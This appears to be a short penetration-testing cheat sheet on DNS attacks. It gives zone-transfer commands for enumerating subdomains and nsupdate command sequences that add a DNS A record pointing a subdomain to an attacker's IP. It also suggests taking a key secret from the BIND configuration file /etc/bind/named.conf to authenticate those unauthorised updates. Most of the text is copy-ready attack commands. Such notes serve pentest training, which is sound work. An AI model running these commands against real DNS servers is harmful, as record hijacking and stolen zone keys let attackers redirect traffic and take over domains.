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DNS

Subdomain Enumeration

Get all the info via

dig     @$TARGET_DNS $DOMAIN axfr
drill   @$TARGET_DNS $DOMAIN axfr

There is also subrake for sudbdomain enumeration. A Subdomain Enumeration and Validation tool for Bug Bounty and Pentesters.

Join a Domain

Join a windows domain by setting the A record to the attacker's IP, needs cert and Pk

nsupdate
server <DNS-IP>
update delete <sub.domain.com>
update add <sub.domain.com> 1234 A $ATTACKER_IP
send
quit

Afterwards, check the domain by querying the subdomain's A record via dig/drill/nslookup.

Found Secrets for Keys

Sometimes secrets can be found secret like a key, for example in /etc/bind/named.conf. This secret can be used to join the domain.

nsupdate -d -y <hash algorithm>:<name of the key>:<secret>
Creating key...
namefromtext
keycreate

server <domain>
update add <subdomain>.<toplevel-domain>.  86400  IN A $ATTACKER_IP
send

Hint: Copy the lines, every space counts as it has to be exactly like in the example